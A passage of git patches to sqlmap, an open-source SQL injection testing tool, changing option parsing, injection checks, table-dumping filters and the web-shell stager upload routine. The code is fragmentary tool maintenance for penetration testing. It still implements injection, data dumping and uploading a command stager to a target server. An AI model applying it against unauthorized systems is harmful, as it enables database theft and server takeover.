b/lib/takeover/web.py @@ -274,9 +274,6 @@ class Web: if "sqlmap file uploader" in uplPage: uploaded = True - else: - continue - if not uploaded: self.webBaseUrl = "%s://%s:%d/" % (conf.scheme, conf.hostname, conf.port) self.webStagerUrl = os.path.join(self.webBaseUrl, stagerName) From bc29bf64817e6e6380392a81331cf756fcba54c3 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Mon, 13 Jan 2014 23:57:49 +0000 Subject: [PATCH 192/889] removed comments --- lib/core/testing.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/lib/core/testing.py b/lib/core/testing.py index b7af70902..c2c96de0a 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -298,12 +298,10 @@ def runCase(parse): if not re.search(item[2:-1], parse_on, re.DOTALL): retVal = None Failures.failedItems.append(item) - #break elif item not in parse_on: retVal = None Failures.failedItems.append(item) - #break if Failures.failedItems: Failures.failedParseOn = console From ab36e5a2f01f378731a2205ab703c39c9f6b55c3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 15 Jan 2014 10:29:53 +0100 Subject: [PATCH 193/889] Fix for an Issue #597 --- plugins/generic/databases.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 62b925d59..fea76c7a1 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -281,7 +281,7 @@ class Databases: for db, table in filterPairValues(values): db = safeSQLIdentificatorNaming(db) - table = safeSQLIdentificatorNaming(table, True) + table = safeSQLIdentificatorNaming(unArrayizeValue(table), True) if db not in kb.data.cachedTables: kb.data.cachedTables[db] = [table] From fc02badf40746274afc3953f43f3ad9e4fd83f1d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 23 Jan 2014 08:33:21 +0100 Subject: [PATCH 194/889] Minor update --- lib/request/basic.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/request/basic.py b/lib/request/basic.py index 442f81850..4f9d854f6 100755 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -141,7 +141,7 @@ def checkCharEncoding(encoding, warn=True): return encoding # Reference: http://www.destructor.de/charsets/index.htm - translate = {"windows-874": "iso-8859-11", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8", "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1"} + translate = {"windows-874": "iso-8859-11", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8", "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "ansi": "ascii"} for delimiter in (';', ',', '('): if delimiter in encoding: From f88f6dcd7e64bed08aebd2aedbbf509be4a6d593 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 23 Jan 2014 09:07:25 +0100 Subject: [PATCH 195/889] Changing --invalid-bignum from float producing to int producing --- lib/controller/checks.py | 2 +- lib/core/agent.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index b8532dd53..5b54b5c21 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -333,7 +333,7 @@ def checkSqlInjection(place, parameter, value): _ = int(kb.data.randomInt[:2]) origValue = "%s AND %s=%s" % (value, _, _ + 1) elif conf.invalidBignum: - origValue = "%s.%s" % (kb.data.randomInt[:6], kb.data.randomInt[0]) + origValue = kb.data.randomInt[:6] else: origValue = "-%s" % kb.data.randomInt[:4] templatePayload = agent.payload(place, parameter, value="", newValue=origValue, where=where) diff --git a/lib/core/agent.py b/lib/core/agent.py index 69e1ce29e..ca4265195 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -121,7 +121,7 @@ class Agent(object): _ = randomInt(2) value = "%s%s AND %s=%s" % (origValue, match.group() if match else "", _, _ + 1) elif conf.invalidBignum: - value = "%d.%d" % (randomInt(6), randomInt(1)) + value = randomInt(6) else: if newValue.startswith("-"): value = "" From f97fcb7bb388e64c7e9ddd9579bd54ff7f7fb328 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 23 Jan 2014 21:56:06 +0100 Subject: [PATCH 196/889] Adding a switch --invalid-string --- lib/controller/checks.py | 3 +++ lib/core/agent.py | 2 ++ lib/core/optiondict.py | 1 + lib/parse/cmdline.py | 4 ++++ sqlmap.conf | 4 ++++ 5 files changed, 14 insertions(+) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 5b54b5c21..15b8b4640 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -329,11 +329,14 @@ def checkSqlInjection(place, parameter, value): # one as we are changing parameters value, which # will likely result in a different content kb.data.setdefault("randomInt", str(randomInt(10))) + kb.data.setdefault("randomStr", str(randomStr(10))) if conf.invalidLogical: _ = int(kb.data.randomInt[:2]) origValue = "%s AND %s=%s" % (value, _, _ + 1) elif conf.invalidBignum: origValue = kb.data.randomInt[:6] + elif conf.invalidString: + origValue = kb.data.randomStr[:6] else: origValue = "-%s" % kb.data.randomInt[:4] templatePayload = agent.payload(place, parameter, value="", newValue=origValue, where=where) diff --git a/lib/core/agent.py b/lib/core/agent.py index ca4265195..255b9bc85 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -122,6 +122,8 @@ class Agent(object): value = "%s%s AND %s=%s" % (origValue, match.group() if match else "", _, _ + 1) elif conf.invalidBignum: value = randomInt(6) + elif conf.invalidString: + value = randomStr(6) else: if newValue.startswith("-"): value = "" diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 95be7a698..a48584546 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -72,6 +72,7 @@ optDict = { "os": "string", "invalidBignum": "boolean", "invalidLogical": "boolean", + "invalidString": "boolean", "noCast": "boolean", "noEscape": "boolean", "prefix": "string", diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index bfbf4bdd6..084f208ba 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -239,6 +239,10 @@ def cmdLineParser(): action="store_true", help="Use logical operations for invalidating values") + injection.add_option("--invalid-string", dest="invalidString", + action="store_true", + help="Use random strings for invalidating values") + injection.add_option("--no-cast", dest="noCast", action="store_true", help="Turn off payload casting mechanism") diff --git a/sqlmap.conf b/sqlmap.conf index df1a5c929..60c7bc00d 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -233,6 +233,10 @@ invalidBignum = False # Valid: True or False invalidLogical = False +# Use random strings for invalidating values. +# Valid: True or False +invalidString = False + # Turn off payload casting mechanism # Valid: True or False noCast = False From 0e44132778bc3d20c2e24ba8b97a1f6c7be050a0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 1 Feb 2014 21:49:12 +0100 Subject: [PATCH 197/889] Removing unused imports --- lib/takeover/web.py | 1 - waf/paloalto.py | 1 - 2 files changed, 2 deletions(-) diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 71f5819be..3aa83e4f1 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -6,7 +6,6 @@ See the file 'doc/COPYING' for copying permission """ import os -import posixpath import re import StringIO diff --git a/waf/paloalto.py b/waf/paloalto.py index 963230467..4e9974c87 100644 --- a/waf/paloalto.py +++ b/waf/paloalto.py @@ -7,7 +7,6 @@ See the file 'doc/COPYING' for copying permission import re -from lib.core.enums import HTTP_HEADER from lib.core.settings import WAF_ATTACK_VECTORS __product__ = "Palo Alto Firewall (Palo Alto Networks)" From 534c2ee0e6d6e116c05505f47746f0f4fa6f2e10 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 1 Feb 2014 22:12:00 +0100 Subject: [PATCH 198/889] Minor update --- lib/core/common.py | 28 ++++++++++++++++++++++------ 1 file changed, 22 insertions(+), 6 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index fc0dc4e2d..bfd0e2713 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -711,7 +711,7 @@ def getManualDirectories(): return directories def getAutoDirectories(): - directories = set("/") + retVal = set("/") if kb.absFilePaths: infoMsg = "retrieved web server absolute paths: " @@ -722,17 +722,17 @@ def getAutoDirectories(): if absFilePath: directory = directoryPath(absFilePath) directory = ntToPosixSlashes(directory) - directories.add(directory) + retVal.add(directory) else: warnMsg = "unable to retrieve automatically any web server path" logger.warn(warnMsg) - webDir = extractRegexResult(r"//[^/]+?(?P/.*)/", conf.url) + _ = extractRegexResult(r"//[^/]+?(?P/.*)/", conf.url) # web directory - if webDir: - directories.add(webDir) + if _: + retVal.add(_) - return list(directories) + return list(retVal) def filePathToSafeString(filePath): """ @@ -1351,6 +1351,10 @@ def parseFilePaths(page): kb.absFilePaths.add(absFilePath) def getLocalIP(): + """ + Get local IP address (exposed to the remote/target) + """ + retVal = None try: @@ -1366,6 +1370,10 @@ def getLocalIP(): return retVal def getRemoteIP(): + """ + Get remote/target IP address + """ + retVal = None try: @@ -1529,6 +1537,10 @@ def getPageWordSet(page): return retVal def showStaticWords(firstPage, secondPage): + """ + Prints words appearing in two different response pages + """ + infoMsg = "finding static words in longest matching part of dynamic page content" logger.info(infoMsg) @@ -3694,6 +3706,10 @@ def splitFields(fields, delimiter=','): return [fields[x + 1:y] for (x, y) in zip(commas, commas[1:])] def pollProcess(process, suppress_errors=False): + """ + Checks for process status (prints . if still running) + """ + while True: dataToStdout(".") time.sleep(1) From f28b8dbda8a9f255fc8b28392a0e9e061a2510b2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 1 Feb 2014 22:24:56 +0100 Subject: [PATCH 199/889] Minor update --- xml/banner/server.xml | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/xml/banner/server.xml b/xml/banner/server.xml index cd64d8b8a..55753daa7 100644 --- a/xml/banner/server.xml +++ b/xml/banner/server.xml @@ -10,8 +10,12 @@ + + + + - + From b83d531ab3d652b62cef2b89c1002af0bf3af0bb Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 5 Feb 2014 08:32:55 +0100 Subject: [PATCH 200/889] Minor fix (Reference: https://en.wikipedia.org/wiki/Internet_Information_Services) --- xml/banner/server.xml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/xml/banner/server.xml b/xml/banner/server.xml index 55753daa7..634f4f767 100644 --- a/xml/banner/server.xml +++ b/xml/banner/server.xml @@ -19,15 +19,15 @@ - + - + - + From de8cb15350b15873c13191373c46e2addd4ead25 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 5 Feb 2014 15:11:39 +0100 Subject: [PATCH 201/889] Fix for an Issue #601 --- plugins/generic/databases.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index fea76c7a1..647767c74 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -227,7 +227,7 @@ class Databases: resumeAvailable = True break - if resumeAvailable: + if resumeAvailable and not conf.freshQueries: for db, table in kb.brute.tables: if db == conf.db: if conf.db not in kb.data.cachedTables: @@ -458,7 +458,7 @@ class Databases: resumeAvailable = True break - if resumeAvailable or colList: + if resumeAvailable and not conf.freshQueries or colList: columns = {} for column in colList: From 8521265526b74d0944dc29787f18689a4c97de58 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 7 Feb 2014 14:40:43 +0100 Subject: [PATCH 202/889] Minor fix --- lib/core/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index de4bcacd9..8ed90a977 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -395,7 +395,7 @@ DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]|\bUNION\b.+\bSELECT\b" CRAWL_EXCLUDE_EXTENSIONS = ("gif", "jpg", "jpeg", "image", "jar", "tif", "bmp", "war", "ear", "mpg", "mpeg", "wmv", "mpeg", "scm", "iso", "dmp", "dll", "cab", "so", "avi", "mkv", "bin", "iso", "tar", "png", "pdf", "ps", "wav", "mp3", "mp4", "au", "aiff", "aac", "zip", "rar", "7z", "gz", "flv", "mov") # Patterns often seen in HTTP headers containing custom injection marking character -PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(\bq=[^;']+)|(\*/\*)" +PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;']+)|(\*/\*)" # Template used for common table existence check BRUTE_TABLE_EXISTS_TEMPLATE = "EXISTS(SELECT %d FROM %s)" From fe0ff6e679f13546377cb0f58f38b000054fefad Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 9 Feb 2014 17:50:16 +0100 Subject: [PATCH 203/889] Changing 'is injectable' to 'seems to be injectable' for boolean and time-based blind injection cases - for false positive cases --- lib/controller/checks.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 15b8b4640..a05297131 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -390,7 +390,7 @@ def checkSqlInjection(place, parameter, value): # Perform the test's False request if not falseResult: - infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title) + infoMsg = "%s parameter '%s' seems to be '%s' injectable " % (place, parameter, title) logger.info(infoMsg) injectable = True @@ -445,7 +445,7 @@ def checkSqlInjection(place, parameter, value): trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False) if trueResult: - infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title) + infoMsg = "%s parameter '%s' seems to be '%s' injectable " % (place, parameter, title) logger.info(infoMsg) injectable = True From be6767b3b0585bc0a8000c4804763b6472a7d0ce Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Mon, 10 Feb 2014 09:59:57 +0000 Subject: [PATCH 204/889] minor fix for command execution via web shell --- lib/takeover/web.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 3aa83e4f1..e333fe062 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -235,6 +235,7 @@ class Web: if "sqlmap file uploader" in uplPage: uploaded = True + break # Fall-back to UNION queries file upload technique if not uploaded: @@ -273,6 +274,8 @@ class Web: if "sqlmap file uploader" in uplPage: uploaded = True + break + if not uploaded: self.webBaseUrl = "%s://%s:%d/" % (conf.scheme, conf.hostname, conf.port) self.webStagerUrl = os.path.join(self.webBaseUrl, stagerName) From d05bfdd7dd2e18325013d002bfa442acf754b55f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 11 Feb 2014 16:20:45 +0100 Subject: [PATCH 205/889] Implementing option '--where' (Issue #605) --- lib/core/optiondict.py | 1 + lib/parse/cmdline.py | 3 +++ lib/utils/pivotdumptable.py | 19 +++++++++++++++++++ plugins/generic/entries.py | 7 +++++++ sqlmap.conf | 3 +++ 5 files changed, 33 insertions(+) diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index a48584546..c2f31bbbb 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -129,6 +129,7 @@ optDict = { "tbl": "string", "col": "string", "excludeCol": "string", + "dumpWhere": "string", "user": "string", "excludeSysDbs": "boolean", "limitStart": "integer", diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 084f208ba..e51ea64ee 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -424,6 +424,9 @@ def cmdLineParser(): help="Exclude DBMS system databases when " "enumerating tables") + enumeration.add_option("--where", dest="dumpWhere", + help="Use WHERE condition while table dumping") + enumeration.add_option("--start", dest="limitStart", type="int", help="First query output entry to retrieve") diff --git a/lib/utils/pivotdumptable.py b/lib/utils/pivotdumptable.py index 6e5837839..6cf9c2275 100644 --- a/lib/utils/pivotdumptable.py +++ b/lib/utils/pivotdumptable.py @@ -38,6 +38,7 @@ def pivotDumpTable(table, colList, count=None, blind=True): if count is None: query = dumpNode.count % table + query = whereQuery(query) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if blind else inject.getValue(query, blind=False, time=False, expected=EXPECTED.INT) if isinstance(count, basestring) and count.isdigit(): @@ -83,6 +84,7 @@ def pivotDumpTable(table, colList, count=None, blind=True): logger.info(infoMsg) query = dumpNode.count2 % (column, table) + query = whereQuery(query) value = inject.getValue(query, blind=blind, union=not blind, error=not blind, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if isNumPosStrValue(value): @@ -122,6 +124,8 @@ def pivotDumpTable(table, colList, count=None, blind=True): else: query = dumpNode.query2.replace("'%s'", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, colList[0]), unescaper.escape(pivotValue, False)) + query = whereQuery(query) + return unArrayizeValue(inject.getValue(query, blind=blind, time=blind, union=not blind, error=not blind)) value = _(pivotValue) @@ -163,3 +167,18 @@ def pivotDumpTable(table, colList, count=None, blind=True): logger.critical(errMsg) return entries, lengths + +def whereQuery(query): + if conf.dumpWhere and query: + prefix, suffix = query.split(" ORDER BY ") if " ORDER BY " in query else (query, "") + + if "%s)" % conf.tbl.upper() in prefix.upper(): + prefix = re.sub(r"(?i)%s\)" % conf.tbl, "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix) + elif re.search(r"(?i)\bWHERE\b", prefix): + prefix += " AND %s" % conf.dumpWhere + else: + prefix += " WHERE %s" % conf.dumpWhere + + query = "%s ORDER BY %s" % (prefix, suffix) if suffix else prefix + + return query diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 717c5fada..4a5ca7d94 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -42,6 +42,7 @@ from lib.core.settings import NULL from lib.request import inject from lib.utils.hash import attackDumpedTable from lib.utils.pivotdumptable import pivotDumpTable +from lib.utils.pivotdumptable import whereQuery class Entries: """ @@ -175,6 +176,8 @@ class Entries: else: query = rootQuery.inband.query % (colString, conf.db, tbl) + query = whereQuery(query) + if not entries and query: entries = inject.getValue(query, blind=False, time=False, dump=True) @@ -226,6 +229,8 @@ class Entries: else: query = rootQuery.blind.count % (conf.db, tbl) + query = whereQuery(query) + count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) lengths = {} @@ -300,6 +305,8 @@ class Entries: elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl) + query = whereQuery(query) + value = NULL if column in emptyColumns else inject.getValue(query, union=False, error=False, dump=True) value = '' if value is None else value diff --git a/sqlmap.conf b/sqlmap.conf index 60c7bc00d..974313b2d 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -458,6 +458,9 @@ col = # Back-end database management system database table column(s) to not enumerate. excludeCol = +# Use WHERE condition while table dumping (e.g. "id=1"). +dumpWhere = + # Back-end database management system database user to enumerate. user = From 43df4efd11c5483122dc5ba2392ade8f20e37911 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 16 Feb 2014 21:44:57 +0100 Subject: [PATCH 206/889] Bug fix (bad idea is to do os.path.join on web URLs - especially on Windows OS) --- lib/takeover/web.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/lib/takeover/web.py b/lib/takeover/web.py index e333fe062..538e8a0d3 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -5,6 +5,7 @@ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ +import urlparse import os import re import StringIO @@ -222,9 +223,9 @@ class Web: logger.info(infoMsg) self._webFileInject(stagerContent, stagerName, directory) - for x in list(re.finditer('/', directory)): - self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, directory[x.start():]) - self.webStagerUrl = os.path.join(self.webBaseUrl, stagerName) + for match in re.finditer('/', directory): + self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, directory[match.start():]) + self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) self.webStagerFilePath = ntToPosixSlashes(os.path.join(directory, stagerName)) debugMsg = "trying to see if the file is accessible from %s" % self.webStagerUrl From dfa727cbc5503dfafc79649e34609f3957f7afcf Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 16 Feb 2014 21:47:14 +0100 Subject: [PATCH 207/889] Fix for a same bug mentioned in last commit --- lib/takeover/web.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 538e8a0d3..f48fa41ef 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -262,9 +262,9 @@ class Web: uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" - for x in list(re.finditer('/', directory)): - self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, directory[x.start():]) - self.webStagerUrl = os.path.join(self.webBaseUrl, stagerName) + for match in re.finditer('/', directory): + self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, directory[match.start():]) + self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) self.webStagerFilePath = ntToPosixSlashes(os.path.join(directory, stagerName)) debugMsg = "trying to see if the file is accessible from %s" % self.webStagerUrl @@ -279,7 +279,7 @@ class Web: if not uploaded: self.webBaseUrl = "%s://%s:%d/" % (conf.scheme, conf.hostname, conf.port) - self.webStagerUrl = os.path.join(self.webBaseUrl, stagerName) + self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) self.webStagerFilePath = ntToPosixSlashes(os.path.join(directory, stagerName)) debugMsg = "trying to see if the file is accessible from %s" % self.webStagerUrl From 58eac364a290f7dd000c2ddaf6acf5509454346d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 16 Feb 2014 21:57:14 +0100 Subject: [PATCH 208/889] Bug fix --- lib/takeover/web.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/takeover/web.py b/lib/takeover/web.py index f48fa41ef..423a76ba4 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -224,7 +224,7 @@ class Web: self._webFileInject(stagerContent, stagerName, directory) for match in re.finditer('/', directory): - self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, directory[match.start():]) + self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) self.webStagerFilePath = ntToPosixSlashes(os.path.join(directory, stagerName)) @@ -263,7 +263,7 @@ class Web: uplPage = uplPage or "" for match in re.finditer('/', directory): - self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, directory[match.start():]) + self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) self.webStagerFilePath = ntToPosixSlashes(os.path.join(directory, stagerName)) From d405fc115721eee8ddfda24529aa94bdc2ca420f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 16 Feb 2014 22:04:12 +0100 Subject: [PATCH 209/889] Minor update (for the consistency sake) --- lib/takeover/web.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 423a76ba4..33cf82dac 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -228,7 +228,7 @@ class Web: self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) self.webStagerFilePath = ntToPosixSlashes(os.path.join(directory, stagerName)) - debugMsg = "trying to see if the file is accessible from %s" % self.webStagerUrl + debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) @@ -267,7 +267,7 @@ class Web: self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) self.webStagerFilePath = ntToPosixSlashes(os.path.join(directory, stagerName)) - debugMsg = "trying to see if the file is accessible from %s" % self.webStagerUrl + debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) @@ -282,7 +282,7 @@ class Web: self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) self.webStagerFilePath = ntToPosixSlashes(os.path.join(directory, stagerName)) - debugMsg = "trying to see if the file is accessible from %s" % self.webStagerUrl + debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) From 2a423d61ef97d6b5ca6081e7b9ede24842a7f201 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 23 Feb 2014 19:40:01 +0100 Subject: [PATCH 210/889] Raising number of requests for false positive testing in case of higher levels --- lib/controller/checks.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index a05297131..ed50fa1d8 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -665,7 +665,7 @@ def checkFalsePositives(injection): # Simple arithmetic operations which should show basic # arithmetic ability of the backend if it's really injectable - for i in xrange(1 + conf.level / 2): + for i in xrange(conf.level): randInt1, randInt2, randInt3 = (_() for j in xrange(3)) randInt1 = min(randInt1, randInt2, randInt3) From edc8ef9d5b1d0f4805646d0fdedfe431f5e40765 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 25 Feb 2014 13:48:34 +0100 Subject: [PATCH 211/889] Patch for an Issue #611 (original page used in case of tamper functions was wrong - e.g. if --tamper=base64encode was used) --- lib/controller/checks.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index ed50fa1d8..99b4b70b2 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -324,6 +324,9 @@ def checkSqlInjection(place, parameter, value): # test's tag if where == PAYLOAD.WHERE.ORIGINAL or conf.prefix: origValue = value + + if kb.tamperFunctions: + templatePayload = agent.payload(place, parameter, value="", newValue=origValue, where=where) elif where == PAYLOAD.WHERE.NEGATIVE: # Use different page template than the original # one as we are changing parameters value, which From 465f968be6f94ee54c0fc93befe9051f7997b271 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 26 Feb 2014 08:41:23 +0100 Subject: [PATCH 212/889] Minor cosmetic update --- lib/core/settings.py | 4 ++-- lib/core/target.py | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 8ed90a977..fb5a513b6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -535,10 +535,10 @@ LIMITED_ROWS_TEST_NUMBER = 15 # Format used for representing invalid unicode characters INVALID_UNICODE_CHAR_FORMAT = r"\?%02x" -# Regular expression for SOAP-like POST data +# Regular expression for SOAP POST data SOAP_RECOGNITION_REGEX = r"(?s)\A(<\?xml[^>]+>)?\s*<([^> ]+)( [^>]+)?>.+\s*\Z" -# Regular expression used for detecting JSON-like POST data +# Regular expression used for detecting JSON POST data JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]+"|\d+).*\}\s*(\]\s*)*\Z' # Regular expression used for detecting multipart POST data diff --git a/lib/core/target.py b/lib/core/target.py index 47d368ce2..6d111c296 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -114,7 +114,7 @@ def _setRequestParams(): if not (kb.processUserMarks and CUSTOM_INJECTION_MARK_CHAR in conf.data): if re.search(JSON_RECOGNITION_REGEX, conf.data): - message = "JSON like data found in %s data. " % conf.method + message = "JSON data found in %s data. " % conf.method message += "Do you want to process it? [Y/n/q] " test = readInput(message, default="Y") if test and test[0] in ("q", "Q"): @@ -126,7 +126,7 @@ def _setRequestParams(): kb.postHint = POST_HINT.JSON elif re.search(SOAP_RECOGNITION_REGEX, conf.data): - message = "SOAP/XML like data found in %s data. " % conf.method + message = "SOAP/XML data found in %s data. " % conf.method message += "Do you want to process it? [Y/n/q] " test = readInput(message, default="Y") if test and test[0] in ("q", "Q"): From 6369a38ebc2f20cfc51c469897b1b81647906093 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 26 Feb 2014 08:56:17 +0100 Subject: [PATCH 213/889] Adding support for JSON-like data with single quote --- lib/core/agent.py | 4 ++++ lib/core/dicts.py | 1 + lib/core/enums.py | 1 + lib/core/settings.py | 3 +++ lib/core/target.py | 13 +++++++++++++ lib/request/connect.py | 5 +++++ 6 files changed, 27 insertions(+) diff --git a/lib/core/agent.py b/lib/core/agent.py index 255b9bc85..d34a40d2c 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -100,6 +100,8 @@ class Agent(object): origValue = origValue.split('>')[-1] elif kb.postHint == POST_HINT.JSON: origValue = extractRegexResult(r"(?s)\"\s*:\s*(?P\d+\Z)", origValue) or extractRegexResult(r'(?s)(?P[^"]+\Z)', origValue) + elif kb.postHint == POST_HINT.JSON_LIKE: + origValue = extractRegexResult(r'(?s)\'\s*:\s*(?P\d+\Z)', origValue) or 